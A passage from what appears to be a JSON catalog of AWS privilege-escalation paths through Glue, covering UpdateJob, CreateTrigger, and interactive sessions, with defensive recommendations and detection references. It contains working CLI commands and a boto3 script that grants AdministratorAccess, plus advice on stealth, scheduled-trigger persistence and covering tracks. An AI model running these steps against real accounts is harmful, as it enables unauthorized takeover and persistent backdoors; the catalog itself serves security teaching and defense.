        "url": "https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/glue_privesc"
      }
    ],
    "relatedPaths": [
      "glue-001",
      "glue-002",
      "glue-003",
      "glue-004",
      "glue-006",
      "lambda-001",
      "ec2-001"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+glue-updatejob+glue-startjobrun",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole`, `glue:UpdateJob`, and `glue:StartJobRun` permissions. Can be an IAM user or role.\n\nThis principal can modify existing Glue jobs, pass IAM roles to them, and manually trigger their execution. The ability to update existing jobs makes this attack stealthier than creating new resources.\n"
        },
        {
          "id": "existing_job",
          "label": "Existing Glue Job",
          "type": "resource",
          "description": "A pre-existing AWS Glue job already deployed in the environment. This job is part of normal production infrastructure running legitimate ETL workloads.\n\n**Stealth Factor**: The attacker modifies this existing job rather than creating a new suspicious resource. The update changes:\n- **Role**: From non-privileged service role to privileged target role (via iam:PassRole)\n- **Script**: From benign production script to malicious escalation script\n\n```bash\naws glue update-job \\\n  --job-name existing-job-name \\\n  --job-update \"Role=arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE,Command={Name=pythonshell,ScriptLocation=s3://bucket/escalation_script.py,PythonVersion=3.9}\"\n```\n\nUpdateJob events are common in production and blend in with normal maintenance activities.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the glue Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the Glue job during the update. This role must have a trust policy allowing glue.amazonaws.com to assume it.\n\nWhen the updated job runs, it assumes this role and receives temporary credentials. The permissions of this role determine what the malicious script can accomplish.\n"
        },
        {
          "id": "execute_code",
          "label": "Execute Code with Target Role Permissions",
          "type": "payload",
          "description": "The starting principal manually triggers execution of the modified job:\n\n```bash\naws glue start-job-run --job-name existing-job-name\n```\n\nThe job executes in the AWS Glue managed environment with the target role's credentials. The malicious Python script runs and attempts to modify IAM permissions:\n\n```python\nimport boto3\niam = boto3.client('iam')\niam.attach_user_policy(\n    UserName='starting-principal',\n    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n)\n```\n\n**Stealth**: From CloudTrail logs, this looks like a normal execution of an existing production job.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The target role has administrative permissions (e.g., AdministratorAccess or iam:* permissions). The Python script successfully uses these permissions to attach the AdministratorAccess policy to the starting principal.\n\nThe starting principal now has full administrative access to the AWS account. The attacker can optionally restore the job to its original configuration to cover their tracks.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target role has some elevated permissions but not full IAM write access. The script may gain access to:\n- Sensitive data in S3, databases, or other AWS services\n- Secrets in AWS Secrets Manager or Parameter Store\n- Multi-hop privilege escalation opportunities\n"
        },
        {
          "id": "no_perms",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target role has only minimal permissions (e.g., basic Glue service permissions). The script cannot perform meaningful privilege escalation, though it demonstrates a security gap in job update permissions.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "existing_job",
          "label": "glue:UpdateJob + glue:StartJobRun",
          "description": "The starting principal uses `glue:UpdateJob` to modify an existing Glue job, changing its execution role (via `iam:PassRole`) and script location to point to a malicious Python script. Then uses `glue:StartJobRun` to execute the modified job.\n\nThis is a **stealth technique** because:\n- Modifies existing infrastructure rather than creating new resources\n- UpdateJob events are routine in production environments\n- Job executions look like normal operational activity\n"
        },
        {
          "from": "existing_job",
          "to": "target_role",
          "label": "Job assumes passed role",
          "description": "When the job starts executing, it automatically assumes the target role that was passed during the update. The Glue service requests temporary credentials from AWS STS for this role.\n\nThe job now has all the permissions granted to the target role.\n"
        },
        {
          "from": "target_role",
          "to": "execute_code",
          "label": "Script executes with role permissions",
          "description": "The malicious Python script executes in the Glue job environment with the temporary credentials from the target role. The script uses boto3 to interact with AWS APIs and attempt privilege escalation.\n\nThe script's success depends entirely on what permissions the target role has.\n"
        },
        {
          "from": "execute_code",
          "to": "admin",
          "label": "If role has IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or `iam:AttachUserPolicy` permission, the script successfully attaches the AdministratorAccess policy to the starting principal.\n\nThe starting principal now has full administrative access.\n"
        },
        {
          "from": "execute_code",
          "to": "some_perms",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated permissions but not IAM write access, the attacker gains partial access such as reading sensitive data or accessing other AWS services.\n"
        },
        {
          "from": "execute_code",
          "to": "no_perms",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has basic Glue service permissions, the script cannot perform meaningful privilege escalation.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-05T19:56:13Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/glue/glue-005.yaml"
  },
  {
    "id": "glue-006",
    "name": "iam:PassRole + glue:UpdateJob + glue:CreateTrigger",
    "category": "new-passrole",
    "services": [
      "iam",
      "glue"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L163",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L224"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass a role to glue.amazonaws.com"
        },
        {
          "permission": "glue:UpdateJob",
          "resourceConstraints": "Must be able to update existing Glue job configurations"
        },
        {
          "permission": "glue:CreateTrigger",
          "resourceConstraints": "Must be able to create Glue triggers with --start-on-creation flag"
        }
      ],
      "additional": [
        {
          "permission": "glue:GetJob",
          "resourceConstraints": "Helpful for retrieving current job configuration before modification"
        },
        {
          "permission": "glue:ListJobs",
          "resourceConstraints": "Useful for discovering existing Glue jobs that can be modified"
        },
        {
          "permission": "glue:GetTrigger",
          "resourceConstraints": "Helpful for monitoring trigger state and activation status"
        },
        {
          "permission": "glue:GetJobRun",
          "resourceConstraints": "Useful for monitoring job execution details"
        },
        {
          "permission": "glue:GetJobRuns",
          "resourceConstraints": "Helpful for listing job runs to track execution history"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Useful for discovering available privileged roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Helpful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `glue:UpdateJob`, and `glue:CreateTrigger` can modify an existing AWS Glue job to use an administrative role and execute malicious code, then establish a scheduled trigger for persistent automated execution. This scenario demonstrates a stealthy privilege escalation vulnerability that combines the stealth of updating existing infrastructure with the persistence of scheduled automation. Unlike `glue:CreateJob` which creates new resources that may raise alerts, `glue:UpdateJob` modifies existing infrastructure, making detection significantly more difficult. Organizations commonly have dozens or hundreds of Glue jobs running legitimate data pipelines, and updating existing jobs is a common maintenance activity. When an attacker updates an existing job's execution role and script location, then creates a trigger with the `--start-on-creation` flag, they establish automated privilege escalation that executes on a schedule (e.g., every minute). The update-based approach with persistence is particularly dangerous because it blends into normal operations while creating a persistent backdoor. The attacker modifies an existing job to use a privileged role and malicious script, creates a scheduled trigger that immediately activates, and the trigger automatically executes the job which runs Python code that modifies IAM permissions to grant the starting principal administrative access. The trigger continues to run on schedule, re-granting access even if remediated.",
    "prerequisites": {
      "admin": [
        "An existing Glue job must be present in the environment that can be modified",
        "A role must exist that trusts glue.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "An existing Glue job must be present in the environment that can be modified",
        "A role must exist that trusts glue.amazonaws.com to assume it",
        "The role's permissions determine the level of access gained"
      ]
    },
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available in the environment, you gain access limited to those role's permissions. However, even limited access may enable multi-hop attacks or access to sensitive data. The persistent nature of triggers means access can be re-granted even after remediation attempts if the trigger is not identified and removed.\n",
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# List existing Glue jobs to find one to modify\naws glue list-jobs --region us-east-1\n",
          "description": "Discover existing Glue jobs in the environment. Choose a job that you have permission to update. Jobs that run infrequently or are not actively monitored are ideal targets for stealth."
        },
        {
          "step": 2,
          "command": "# View current job configuration\naws glue get-job \\\n  --region us-east-1 \\\n  --job-name existing-job-name \\\n  --query 'Job.{Role: Role, Script: Command.ScriptLocation}'\n",
          "description": "Retrieve the current job configuration to see its existing role and script location. Document these values if you need to restore the job after the attack to cover your tracks."
        },
        {
          "step": 3,
          "command": "# Create Python script that attaches admin policy (upload to S3)\n# Example script content:\nimport boto3\niam = boto3.client('iam')\niam.attach_user_policy(\n    UserName='target-username',\n    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n)\n",
          "description": "Prepare a Python script that will attach AdministratorAccess policy to your starting principal. Upload this script to an S3 bucket that the Glue job can access."
        },
        {
          "step": 4,
          "command": "aws glue update-job \\\n  --region us-east-1 \\\n  --job-name existing-job-name \\\n  --job-update \"Role=arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE,Command={Name=pythonshell,ScriptLocation=s3://bucket/escalation_script.py,PythonVersion=3.9}\"\n",
          "description": "Update the existing Glue job to use the privileged role and point to your malicious script. The Role parameter uses iam:PassRole to assign the administrative role. The ScriptLocation is changed to your escalation script. This modification blends in with normal maintenance activities."
        },
        {
          "step": 5,
          "command": "aws glue create-trigger \\\n  --region us-east-1 \\\n  --name privesc-trigger \\\n  --type SCHEDULED \\\n  --start-on-creation \\\n  --schedule \"cron(0/1 * * * ? *)\" \\\n  --actions '[{\"JobName\": \"existing-job-name\"}]'\n",
          "description": "Create a scheduled trigger with --start-on-creation flag for the modified job. This immediately activates the trigger and schedules the job to run every minute. The trigger will fire at the next scheduled time and execute the malicious job automatically without requiring glue:StartJobRun permission."
        },
        {
          "step": 6,
          "command": "# Wait 1-3 minutes for trigger to fire and job to complete\naws glue get-trigger \\\n  --region us-east-1 \\\n  --name privesc-trigger \\\n  --query 'Trigger.State'\n",
          "description": "Verify the trigger state shows ACTIVATED. Scheduled triggers fire at the next scheduled time (every minute in this case). Wait for the job to execute automatically."
        },
        {
          "step": 7,
          "command": "aws glue get-job-runs \\\n  --region us-east-1 \\\n  --job-name existing-job-name \\\n  --max-results 1 \\\n  --query 'JobRuns[0].JobRunState'\n",
          "description": "Check the latest job run to confirm it has executed. Wait for JobRunState to show SUCCEEDED, indicating your script has completed and administrative access has been granted."
        },
        {
          "step": 8,
          "command": "# Wait 15 seconds for IAM policy propagation\nsleep 15\n# Verify admin access\naws iam list-users\n",
          "description": "After the job completes and IAM changes propagate, verify that you now have administrative permissions. Note that the trigger will continue to run every minute, re-granting access even if it's removed, establishing persistent administrative access."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a Glue job need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificGlueRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"glue.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual Glue job updates followed by immediate trigger creation\n- Monitor CloudTrail for Glue job and trigger updates by principals who do not usually update jobs\n- Monitor CloudTrail for roles being passed to Glue that haven't been used before\n- Monitor and alert on Glue job updates with privileged roles\n- Regularly audit Glue jobs for excessive IAM permissions\n- Regularly audit all IAM roles that trust the Glue service and down-scope any roles with administrative access\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "source": "HackTricks",
        "link": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/"
      },
      "derivativeOf": {
        "pathId": "glue-005",
        "modification": "This variation combines glue:UpdateJob with glue:CreateTrigger for both stealth (modifying existing infrastructure) and persistence (automated recurring execution)"
      },
      "ultimateOrigin": {
        "pathId": "glue-001",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "HackTricks - AWS - Glue Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/index.html#iampassrole-gluecreatejob--glueupdatejob-gluestartjobrun--gluecreatetrigger"
      },
      {
        "title": "Rhino Security Labs - CloudGoat Glue_privesc Walkthrough",
        "url": "https://rhinosecuritylabs.com/cloud-security/cloudgoat-walkthrough-glue_privesc/"
      },
      {
        "title": "CloudGoat - glue_privesc Scenario",
        "url": "https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/glue_privesc"
      }
    ],
    "relatedPaths": [
      "glue-001",
      "glue-002",
      "glue-003",
      "glue-004",
      "glue-005",
      "lambda-001",
      "ec2-001"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+glue-updatejob+glue-createtrigger",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole`, `glue:UpdateJob`, and `glue:CreateTrigger` permissions. Can be an IAM user or role.\n\nThis principal can modify existing Glue jobs, pass IAM roles to them, and create scheduled triggers for automated execution. This combination provides both **stealth** (modifying existing infrastructure) and **persistence** (automated recurring execution).\n"
        },
        {
          "id": "existing_job",
          "label": "Existing Glue Job",
          "type": "resource",
          "description": "A pre-existing AWS Glue job already deployed in the environment. This job is part of normal production infrastructure running legitimate ETL workloads.\n\n**Stealth Factor**: The attacker modifies this existing job rather than creating a new suspicious resource. The update changes:\n- **Role**: From non-privileged service role to privileged target role (via iam:PassRole)\n- **Script**: From benign production script to malicious escalation script\n\n**Persistence Factor**: After updating the job, the attacker creates a scheduled trigger that automatically executes it every minute.\n\n```bash\n# Update the job\naws glue update-job \\\n  --job-name existing-job-name \\\n  --job-update \"Role=arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE,Command={Name=pythonshell,ScriptLocation=s3://bucket/escalation_script.py,PythonVersion=3.9}\"\n\n# Create trigger for persistence\naws glue create-trigger \\\n  --name privesc-trigger \\\n  --type SCHEDULED \\\n  --start-on-creation \\\n  --schedule \"cron(0/1 * * * ? *)\" \\\n  --actions '[{\"JobName\": \"existing-job-name\"}]'\n```\n\nUpdateJob events are common in production and blend in with normal maintenance activities. The trigger makes this attack persistent.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the glue Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the Glue job during the update. This role must have a trust policy allowing glue.amazonaws.com to assume it.\n\nWhen the updated job runs (triggered automatically every minute), it assumes this role and receives temporary credentials. The permissions of this role determine what the malicious script can accomplish.\n"
        },
        {
          "id": "execute_code",
          "label": "Execute Code with Target Role Permissions",
          "type": "payload",
          "description": "The scheduled trigger fires automatically (every minute) and starts the modified job. No manual `glue:StartJobRun` is needed.\n\nThe job executes in the AWS Glue managed environment with the target role's credentials. The malicious Python script runs repeatedly on each trigger activation:\n\n```python\nimport boto3\niam = boto3.client('iam')\niam.attach_user_policy(\n    UserName='starting-principal',\n    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n)\n```\n\n**Combined Stealth + Persistence**: The job looks like normal production infrastructure executing on schedule, making this attack particularly difficult to detect. Even if the policy attachment is removed, it will be re-applied when the trigger fires again.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator + Persistent Backdoor",
          "type": "outcome",
          "description": "The target role has administrative permissions (e.g., AdministratorAccess or iam:* permissions). The Python script successfully uses these permissions to attach the AdministratorAccess policy to the starting principal.\n\n**Persistence**: The trigger continues to fire every minute, re-granting administrative access even if the policy attachment is manually removed. This creates a persistent backdoor that is difficult to remediate without identifying and deleting both the trigger and restoring the job configuration.\n\n**Stealth**: The attack uses existing infrastructure (modified job) rather than creating new resources, blending in with normal operations.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access + Persistence",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target role has some elevated permissions but not full IAM write access. The script may gain access to:\n- Sensitive data in S3, databases, or other AWS services\n- Secrets in AWS Secrets Manager or Parameter Store\n- Multi-hop privilege escalation opportunities\n\n**Persistence**: The trigger continues to fire every minute, repeatedly performing these actions on schedule.\n"
        },
        {
          "id": "no_perms",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target role has only minimal permissions (e.g., basic Glue service permissions). The script cannot perform meaningful privilege escalation.\n\nHowever, the trigger continues to fire every minute, consuming resources and demonstrating a security gap.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "existing_job",
          "label": "glue:UpdateJob + glue:CreateTrigger",
          "description": "The starting principal uses `glue:UpdateJob` to modify an existing Glue job, changing its execution role (via `iam:PassRole`) and script location to point to a malicious Python script. Then uses `glue:CreateTrigger` with `--start-on-creation` to create a scheduled trigger that fires every minute.\n\nThis is a **combined stealth + persistence technique**:\n- **Stealth**: Modifies existing infrastructure rather than creating new resources; UpdateJob events are routine in production\n- **Persistence**: Scheduled trigger automatically executes the job every minute without manual intervention\n- Job executions look like normal operational activity\n"
        },
        {
          "from": "existing_job",
          "to": "target_role",
          "label": "Job assumes passed role",
          "description": "When the trigger fires and the job starts executing, it automatically assumes the target role that was passed during the update. The Glue service requests temporary credentials from AWS STS for this role.\n\nThe job now has all the permissions granted to the target role.\n"
        },
        {
          "from": "target_role",
          "to": "execute_code",
          "label": "Script executes with role permissions",
          "description": "The malicious Python script executes in the Glue job environment with the temporary credentials from the target role. The script uses boto3 to interact with AWS APIs and attempt privilege escalation.\n\nThis happens **repeatedly every minute** as the trigger continues to fire, providing persistence.\n"
        },
        {
          "from": "execute_code",
          "to": "admin",
          "label": "If role has IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or `iam:AttachUserPolicy` permission, the script successfully attaches the AdministratorAccess policy to the starting principal.\n\nThe trigger continues to fire every minute, making this a **persistent backdoor** that re-grants admin access even if manually removed.\n"
        },
        {
          "from": "execute_code",
          "to": "some_perms",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated permissions but not IAM write access, the attacker gains partial access such as reading sensitive data or accessing other AWS services.\n\nThe trigger provides persistence, repeatedly performing these actions every minute.\n"
        },
        {
          "from": "execute_code",
          "to": "no_perms",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has basic Glue service permissions, the script cannot perform meaningful privilege escalation.\n\nHowever, the trigger continues firing every minute, demonstrating a security gap.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-05T19:56:13Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/glue/glue-006.yaml"
  },
  {
    "id": "glue-007",
    "name": "iam:PassRole + glue:CreateSession + glue:RunStatement",
    "category": "new-passrole",
    "services": [
      "iam",
      "glue"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass the target admin IAM role to the Glue service"
        },
        {
          "permission": "glue:CreateSession",
          "resourceConstraints": "No resource constraints required"
        },
        {
          "permission": "glue:RunStatement",
          "resourceConstraints": "Must be able to run statements in the created session"
        }
      ],
      "additional": [
        {
          "permission": "glue:GetSession",
          "resourceConstraints": "Useful for polling session status until it reaches READY before running statements"
        },
        {
          "permission": "glue:ListSessions",
          "resourceConstraints": "Helpful for discovering existing sessions and their associated roles"
        },
        {
          "permission": "glue:DeleteSession",
          "resourceConstraints": "Useful for cleaning up the malicious session after exploitation"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Useful for verifying privilege escalation success"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `glue:CreateSession`, and `glue:RunStatement` can escalate privileges by creating an AWS Glue Interactive Session that passes an admin IAM role, then running arbitrary Python code in that session using boto3. The Python code executes with the admin role's credentials \u2014 injected automatically by the Glue service \u2014 and calls `iam:AttachUserPolicy` to attach AdministratorAccess to the starting user. No Glue job, job definition, or S3 script is required; the code runs inline via `glue:RunStatement`.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts glue.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts glue.amazonaws.com and has elevated permissions"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws glue create-session \\\n  --id privesc-glue-session \\\n  --role arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --command '{\"Name\":\"glueetl\",\"PythonVersion\":\"3\"}' \\\n  --glue-version \"4.0\" \\\n  --worker-type \"G.1X\" \\\n  --number-of-workers 2\n",
          "description": "Create a Glue Interactive Session, passing the admin role via iam:PassRole. The session will initialize with that role's credentials available to all statements run within it."
        },
        {
          "step": 2,
          "command": "aws glue get-session \\\n  --id privesc-glue-session \\\n  --query 'Session.Status' \\\n  --output text\n",
          "description": "Poll session status until it reaches READY. This typically takes 1-2 minutes as Glue provisions the session workers."
        },
        {
          "step": 3,
          "command": "aws glue run-statement \\\n  --session-id privesc-glue-session \\\n  --code \"\nimport boto3\niam = boto3.client('iam')\niam.attach_user_policy(\n    UserName='STARTING_USER',\n    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n)\nprint('AdministratorAccess attached successfully')\n\"\n",
          "description": "Run a Python statement within the session. The boto3 client automatically uses the session's injected admin role credentials. The statement calls iam:AttachUserPolicy to attach AdministratorAccess to the starting user."
        },
        {
          "step": 4,
          "command": "aws glue get-statement \\\n  --session-id privesc-glue-session \\\n  --id STATEMENT_ID \\\n  --query 'Statement.State' \\\n  --output text\n",
          "description": "Poll statement status until it reaches AVAILABLE. Once complete, check Statement.Output.Data.TextPlain for the output confirming the policy was attached."
        },
        {
          "step": 5,
          "command": "aws iam list-attached-user-policies \\\n  --user-name STARTING_USER\n",
          "description": "Verify that AdministratorAccess is now attached to the starting user, confirming privilege escalation success."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative Glue session roles** - Very rarely does a Glue Interactive Session need administrative IAM access. Use the principle of least privilege and scope session roles to only the data sources the session legitimately needs.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. Use IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificGlueSessionRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"glue.amazonaws.com\"\n    }\n  }\n}\n```\n\n- **Restrict `glue:CreateSession`** - Interactive sessions allow running arbitrary code with any passed role. Only trusted data engineering principals should have this permission.\n- **Restrict `glue:RunStatement`** - Running statements in existing sessions can be used to abuse a session originally created by another principal. Scope this permission carefully.\n- Monitor CloudTrail for unusual Glue Interactive Session creation followed by immediate statement execution\n- Monitor CloudTrail for Glue sessions created by principals who do not normally use interactive sessions\n- Monitor CloudTrail for roles being passed to Glue that haven't been used before\n- Alert on IAM policy attachment events originating from Glue session execution roles\n- Regularly audit all IAM roles that trust glue.amazonaws.com and down-scope any with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available to pass, the attacker gains access limited to those role permissions. Even limited access may enable multi-hop attacks. Glue Interactive Sessions typically take 1-2 minutes to reach READY state.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Interactive sessions with IAM - AWS Glue (AWS Documentation)",
        "url": "https://docs.aws.amazon.com/glue/latest/dg/glue-is-security.html"
      },
      {
        "title": "Getting started with AWS Glue interactive sessions (AWS Documentation)",
        "url": "https://docs.aws.amazon.com/glue/latest/dg/interactive-sessions.html"
      },
      {
        "title": "Actions defined by AWS Glue - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsglue.html"
      }
    ],
    "relatedPaths": [
      "glue-003",
      "glue-004",
      "glue-005",
      "glue-006"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/glue-007-iam-passrole+glue-createsession+glue-runstatement",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L394"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole`, `glue:CreateSession`, and `glue:RunStatement` permissions. Can be an IAM user or role. The key privilege is the ability to pass an admin IAM role to a new Glue Interactive Session and then execute arbitrary inline Python code within that session."
        },
        {
          "id": "glue_session",
          "label": "Glue Interactive Session",
          "type": "resource",
          "description": "An AWS Glue Interactive Session created with the admin role passed as the session's execution identity. Unlike a Glue job (which requires S3 scripts and job definitions), an interactive session accepts inline code via `glue:RunStatement`. The admin role's credentials are injected into the session workers automatically by the Glue service at session creation time \u2014 before any statement is executed."
        },
        {
          "id": "admin_role",
          "label": "Admin Role (injected into session)",
          "type": "principal",
          "description": "The IAM role passed to the Glue session at creation time. The role must trust `glue.amazonaws.com`. Glue assumes the role when the session initializes and makes its credentials available to all statements run within the session. The boto3 client in any RunStatement call automatically uses these credentials without any explicit credential configuration."
        },
        {
          "id": "python_code",
          "label": "Python Statement (boto3)",
          "type": "payload",
          "color": "#99ccff",
          "description": "An inline Python statement submitted via `glue:RunStatement` that runs with the admin role's credentials. The boto3 client picks up the role credentials automatically from the session environment.\n\nExample statement that attaches AdministratorAccess to the starting user:\n```python\nimport boto3\niam = boto3.client('iam')\niam.attach_user_policy(\n    UserName='STARTING_USER',\n    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n)\nprint('AdministratorAccess attached successfully')\n```\n\nThe statement is submitted with:\n```bash\naws glue run-statement \\\n  --session-id privesc-glue-session \\\n  --code \"...\"\n```\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The passed role has AdministratorAccess or equivalent permissions including `iam:AttachUserPolicy`. The Python statement successfully attaches AdministratorAccess to the starting user, granting full administrative access to the AWS account."
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The passed role has some elevated permissions but not full admin. The Python code can leverage those permissions for data access (S3, DynamoDB, RDS), configuration changes, or to identify additional privilege escalation paths, but cannot directly elevate the starting principal via IAM writes."
        },
        {
          "id": "no_perms",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The passed role has only minimal permissions. Regardless of what Python code is executed, the session provides limited value for privilege escalation."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "glue_session",
          "label": "iam:PassRole + glue:CreateSession",
          "description": "Create a Glue Interactive Session and pass the admin role as the session's execution identity. The `iam:PassRole` action is exercised here when specifying the `--role` parameter. Glue assumes this role when the session initializes.\n\nCommand:\n```bash\naws glue create-session \\\n  --id privesc-glue-session \\\n  --role arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --command '{\"Name\":\"glueetl\",\"PythonVersion\":\"3\"}' \\\n  --glue-version \"4.0\" \\\n  --worker-type \"G.1X\" \\\n  --number-of-workers 2\n```\n\nWait for the session to reach READY status (typically 1-2 minutes):\n```bash\naws glue get-session \\\n  --id privesc-glue-session \\\n  --query 'Session.Status' \\\n  --output text\n```\n"
        },
        {
          "from": "glue_session",
          "to": "admin_role",
          "label": "Session assumes role at creation time",
